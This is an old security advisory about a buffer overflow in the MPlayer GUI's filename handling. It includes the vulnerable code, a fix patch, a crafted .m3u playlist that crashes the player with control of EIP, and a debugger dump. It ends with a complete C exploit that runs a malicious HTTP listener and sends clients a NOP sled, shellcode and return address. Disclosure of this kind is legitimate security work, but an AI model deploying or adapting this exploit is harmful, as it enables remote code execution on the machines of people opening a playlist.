5

Наличии дыры в проигрывателе MPlayer

************************************************************************

$ An open security advisory #5 - MPlayer GUI filename handling overflow

***********************************************************************

1: Bug Released: June 28th 2004

2: Bug Impact Rate: Medium / Hi

3: Bug Scope Rate: Remote / Local

***********************************************************************

***********************************************************************

MPlayer Media Player

http://www.mplayerhq.hu

MPlayer is a movie player for Linux (runs on many other Unices, and non-x86 CPUs, see Ports). It plays most

MPEG, VOB, AVI, OGG/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, FLI, RM, NuppelVideo, yuv4mpeg, FILM, RoQ, PVA,

Matroska files, supported by many native, XAnim, RealPlayer, and Win32 DLL codecs. You can watch VideoCD,

SVCD, DVD, 3ivx, RealMedia, Sorenson, Theora, and DivX movies too.

All versions of MPlayer, including the latest [MPlayer-1.0pre4] when compiled with GUI support are vulnerable

to a buffer overflow attack that will provide hostile code execution.

The MPlayer source requires explicit setting to enable the GUI, though support is enabled on a multitude of

default systems / setups, those I tested are below:

Tested OS:

Redhat Linux with Gnome

FreeBSD and latest cvsup + ports with Gnome

./MPlayer-1.0pre4/Gui/mplayer/common.c

inline void TranslateFilename( int c,char * tmp )

...

... snip

...

case STREAMTYPE_FILE:

if ( ( guiIntfStruct.Filename )&&( guiIntfStruct.Filename[0] ) )

{

if ( strrchr( guiIntfStruct.Filename,'/' ) ) strcpy( tmp,strrchr( guiIntfStruct.Filename,'/' ) + 1);

else strcpy( tmp,guiIntfStruct.Filename);

if ( tmp[strlen( tmp ) - 4] == '.' ) tmp[strlen( tmp ) - 4]=0;

if ( tmp[strlen( tmp ) - 5] == '.' ) tmp[strlen( tmp ) - 5]=0;

} else strcpy( tmp,MSGTR_NoFileLoaded );

POC fix purposes only.

[c0ntex[at]exploited MPlayer-1.0pre4]$ cat mplayer_gui.patch

--- Gui/mplayer/common.c 2003-03-20 12:42:09.000000000 +0000

+++ Gui-new/mplayer/common.c 2004-06-02 00:01:43.000000000 +0100

[at][at] -43,8 +43,8 [at][at]

case STREAMTYPE_FILE:

if ( ( guiIntfStruct.Filename )&&( guiIntfStruct.Filename[0] ) )

{

- if ( strrchr( guiIntfStruct.Filename,'/' ) ) strcpy( tmp,strrchr( guiIntfStruct.Filename,'/' ) + 1 );

- else strcpy( tmp,guiIntfStruct.Filename );

+ if ( strrchr( guiIntfStruct.Filename,'/' ) ) strncpy( tmp,strrchr( guiIntfStruct.Filename,'/', ) + 1, 511 ); tmp[512]='\0';

+ else strncpy( tmp,guiIntfStruct.Filename, 511); tmp[512]='\0';

if ( tmp[strlen( tmp ) - 4] == '.' ) tmp[strlen( tmp ) - 4]=0;

if ( tmp[strlen( tmp ) - 5] == '.' ) tmp[strlen( tmp ) - 5]=0;

- } else strcpy( tmp,MSGTR_NoFileLoaded );

+ } else strncpy( tmp,MSGTR_NoFileLoaded, 511 ); tmp[512]='\0';

Attack choices:

1. Create my own fake HTTP listener and inject the phoney name. (Static)(POC)

2. Build my own MPEG / MP3 or other static media file and header information. (Mobile)

3. Create a media file that references another file by name. (Mobile)

Found in network.c is the following table of demux types:

extensions_table[] = {

{ "mpeg",DEMUXER_TYPE_MPEG_PS },

{ "mpg", DEMUXER_TYPE_MPEG_PS },

{ "mpe", DEMUXER_TYPE_MPEG_ES },

{ "avi", DEMUXER_TYPE_AVI },

{ "mov", DEMUXER_TYPE_MOV },

{ "qt", DEMUXER_TYPE_MOV },

{ "asx", DEMUXER_TYPE_ASF },

{ "asf", DEMUXER_TYPE_ASF },

{ "wmv", DEMUXER_TYPE_ASF },

{ "wma", DEMUXER_TYPE_ASF },

{ "viv", DEMUXER_TYPE_VIVO },

{ "rm", DEMUXER_TYPE_REAL },

{ "ra", DEMUXER_TYPE_REAL },

{ "y4m", DEMUXER_TYPE_Y4M },

{ "mp3", DEMUXER_TYPE_AUDIO },

{ "ogg", DEMUXER_TYPE_OGG },

{ "wav", DEMUXER_TYPE_AUDIO },

{ "pls", DEMUXER_TYPE_PLAYLIST },

{ "m3u", DEMUXER_TYPE_PLAYLIST }

};

of which m3u & pls playlists were used. MPlayer does not restrict the length of links for M3U playlist entries,

which is a nice feature. - .pls in the end turned out to be useless for me though. I have not checked the other

muxors, maybe with tricks like creating a large ID3 itag for mpg and the likes will be interesting...

[c0ntex[at]exploited MemPlayer-1.0pre4] mv test h0t_ladies.m3u

[root[at]darkside htdocs]# cat ./h0t_ladies.m3u

#EXTM3U

#EXTINF:0x00,Open Security Rocks - c0ntex at open-security dot org - visit http://open-security.org

mp3_stash/Open-Security Rock[s]1.mpeg

#EXTINF:0x01,Open Security Rocks - c0ntex at open-security dot org - visit http://open-security.org

mp3_stash/Open-Security Rock[s[]2.mpg

#EXTINF:0x01,Open Security Rocks - c0ntex at open-security dot org - visit http://open-security.org

mp3_stash/Open-Security Rock[s[]3.mp3

#EXTINF:0x02,Open Security Rocks - c0ntex at open-security dot org - visit http://open-security.org

mp3_stash/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root[at]darkside htdocs]#

In my .m3u file, I embed 4 entries, the first three please the user with selected fine music from the Open-Security

MP3 archive, the 4th will crash MPlayer by placing the address 0x41414141 in EIP.

Edit ./mplayer.c in vi and comment out the line:

signal(SIGSEGV,exit_sighandler); // segfault

Test run:

[c0ntex[at]exploited MemPlayer-1.0pre4]$ ./gmplayer http://open-security.org/h0t_ladies.m3u

Using GNU internationalization

Original domain: messages

Original dirname: /usr/share/locale

Current domain: mplayer

Current dirname: /usr/local/share/locale

MPlayer 1.0pre4-3.2.2 (C) 2000-2004 MPlayer Team

...

...

Playing http://192.168.1.1/members/secure/a/1/h0t_ladies.m3u.

Connecting to server 192.168.1.1[192.168.1.1]:80 ...

Cache size set to 8192 KBytes

Connected to server: 192.168.1.1

...

...

Playing http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

Connecting to server 192.168.1.1[192.168.1.1]:80 ...

Server returned 404: Access Denied

Unable to open URL: http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

Segmentation fault (core dumped)

[c0ntex[at]exploited MPlayer-1.0pre4]$ gdb ./gmplayer ./core.*

(gdb) i r eip esp

eip 0x41414141 0x41414141

esp 0xbfffc800 0xbfffc800

(gdb) i r

eax 0x84a3640 139081280

ecx 0x42006f24 1107324708

edx 0xff000000 -16777216

ebx 0x41414141 1094795585

esp 0xbfffc800 0xbfffc800

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x41414141 1094795585

eip 0x41414141 0x41414141

eflags 0x10282 66178

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x33 51

(gdb) bt

#0 0x41414141 in ?? ()

Cannot access memory at address 0x41414141

(gdb) x/x 0xbfffc800

0xbfffc800: 0x41414141 <--- A represents our payload.

(gdb)

Worked a treat.

---

MPlayer bug discovered 28th May 2004

MPlayer bug research completed 29th May 2004

MPlayer developers contacted 1st June 2004

MPlayer bug public release 28th June 2004

No feedback at all from MPlayer team about this though I did find a post on their newsgroup:

http://mplayerhq.hu/pipermail/mplayer-dev-eng/2004-June/026559.html

UPDATE - Mplayer have released fix in CVS! Please cvsup as soon as possible while we await fixed tar files from the downloads

section.

cheers

c0ntex[at]open-security.org

http://www.open-security.org

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define SUCCESS 0 /* True */

#define FAILURE 1 /* False */

#define A_BANNER "_MPlayer_MeMPlayer_Media_Mayhem_"

#define ALIGN 0 /* Stack address alignment */

#define BUFFER 544 /* Exactly overwrite EIP */

#define EIPWRT 4 /* Byte count for overwrite */

#define NOP 0x90 /* NoOp padding */

#define OFFSET 0 /* Offset from retaddr */

#define PORT 80 /* Listener port */

#define RETADDR 0xbfffcb9c /* Remote return address */

#define THREAT "MPlayer/1.0pre4-3.2.2" /* Latest vulnerable version */

#define example(OhNoo) fprintf(stderr, "Usage: ./memplayer -a -o \n\n", OhNoo);

#define looking(OhYes) fprintf(stderr, "I'm looking for projects to work on, mail me if you have something\n\n", OhYes);

unsigned int i;

char payload[BUFFER];

void banner(void);

void die(char *ohnn);

int pkg_prep(int clisock_fd, int align, int offset);

int pkg_send(int clisock_fd, char *payload);

int main(int argc, char **argv);

char *http[] = {

"HTTP/1.0 200 OK\r\n",

"Date: Thu, 01 Jun 2004 12:52:15 GMT\r\n",

"Server: MemPlayer/1.0.3 (Linux)\r\n",

"MIME-version: 1.0\r\n",

"Content-Type: audio/x-mpegurl\r\n",

"Content-Length: 666\r\n",

"Connection: close\r\n",

"\r\n"

};

char *m3umuxor[] = {

"\x23\x45\x58\x54\x4D\x33\x55\r\n",

"\x23\x45\x58\x54\x49\x4E\x46\x3A"

"\x2E\x2c\x4F\x70\x65\x6E\x2D\x53"

"\x65\x63\x75\x72\x69\x74\x79\x2E"

"\x52\x6F\x63\x6B\x73\r\n",

"\r\n"

};

char opcode[] = {

0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,

0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80,

0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,

0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,

0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80

};

void

banner(void)

{

fprintf(stderr, "\n ** MPlayer_Memplayer.c - Remote exploit demo POC **\n\n");

fprintf(stderr, "[-] Uses m3u header reference to make MPlayer think it has a\n");

fprintf(stderr, "[-] valid media file then crafted package is sent, overflows\n");

fprintf(stderr, "[-] the guiIntfStruct.Filename buffer && proves exploit POC.\n");

fprintf(stderr, "[-] c0ntex[at]open-security.org {} http://www.open-security.org \n\n");

}

void

die(char *err_trap)

{

perror(err_trap);

fflush(stderr); _exit(1);

}

int

pkg_prep(int clisock_fd, int align, int offset)

{

unsigned int recv_chk;

long retaddr;

char chk_vuln[69];

char *pload = (char *) &opcode;

retaddr = RETADDR - offset;

fprintf(stderr, " -> Using align [%d] and offset [%d]\n", align, offset);

memset(chk_vuln, 0, sizeof(chk_vuln));

recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln) -1, 0);

chk_vuln[recv_chk+1] = '\0';

if(recv_chk == -1 || recv_chk == 0) {

fprintf(stderr, "Could not receive data from client\n");

}

if(strstr(chk_vuln, THREAT) || strstr(chk_vuln, "MPlayer/0")) {

fprintf(stderr, " -> Detected vulnerable MPlayer version\n");

}else{

fprintf(stderr, " -> Detected a non-MPlayer connection, end.\n");

close(clisock_fd);

_exit(1);

}

fprintf(stderr, " -> Payload size to send is [%d]\n", sizeof(payload));

fprintf(stderr, " -> Sending evil payload to our client\n");

memset(payload, 0, BUFFER);

for(i = (BUFFER - EIPWRT); i < BUFFER; i += 4)

*(long *)&payload[i] = retaddr;

for (i = 0; i < (BUFFER - sizeof(opcode) - 4); ++i)

*(payload + i) = NOP;

memcpy(payload + i, pload, strlen(pload));

payload[545] = 0x00;

return SUCCESS;

}

int

pkg_send(int clisock_fd, char *payload)

{

for (i = 0; i < 8; i++)

if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {

die("Could not send HTTP header");

}fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);

for (i = 0; i < 3; i++)

if(send(clisock_fd, m3umuxor[i], strlen(m3umuxor[i]), 0) == -1) {

die("Could not send m3u header");

}fprintf(stderr, "\t- Sending valid m3u header..\n"); sleep(1);

if(send(clisock_fd, payload, strlen(payload), 0) == -1) {

die("Could not send payload");

}fprintf(stderr, "\t- Sending payload package..\n");

return SUCCESS;

}

int

main(int argc, char **argv)

{

unsigned int align = 0, offset = 0, reuse = 1;

unsigned int port = PORT;

unsigned int cl_buf, opts;

signed int clisock_fd, sock_fd;

static char *exploit, *work;

struct sockaddr_in victim;

struct sockaddr_in confess;

if(argc < 2) {

banner();

example(exploit);

_exit(1);

}banner();

while((opts = getopt(argc, argv, "a:o:")) != -1) {

switch(opts)

{

case 'a':

align = atoi(optarg);

break;

case 'o':

offset = atoi(optarg);

break;

default:

align = ALIGN;

offset = OFFSET;

}

}

if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

die("Could not create socket");

}

if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {

die("Could not re-use socket");

}

memset(&confess, 0, sizeof(confess));

confess.sin_family = AF_INET;

confess.sin_port = htons(port);

confess.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {

die("Could not bind socket");

}

if(listen(sock_fd, 0) == -1) {

die("Could not listen on socket");

}

printf(" -> Listening for a connection on port %d\n", port);

cl_buf = sizeof(victim);

clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);

fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));

if(pkg_prep(clisock_fd, align, offset) == 1) {

fprintf(stderr, "Could not prep package\n");

_exit(1);

}

if(pkg_send(clisock_fd, payload) == 1) {

fprintf(stderr, "Could not send package\n");

_exit(1);

}

sleep(2);

fprintf(stderr, " -> Test complete\n\n");

close(clisock_fd); looking(work);

return SUCCESS;

}


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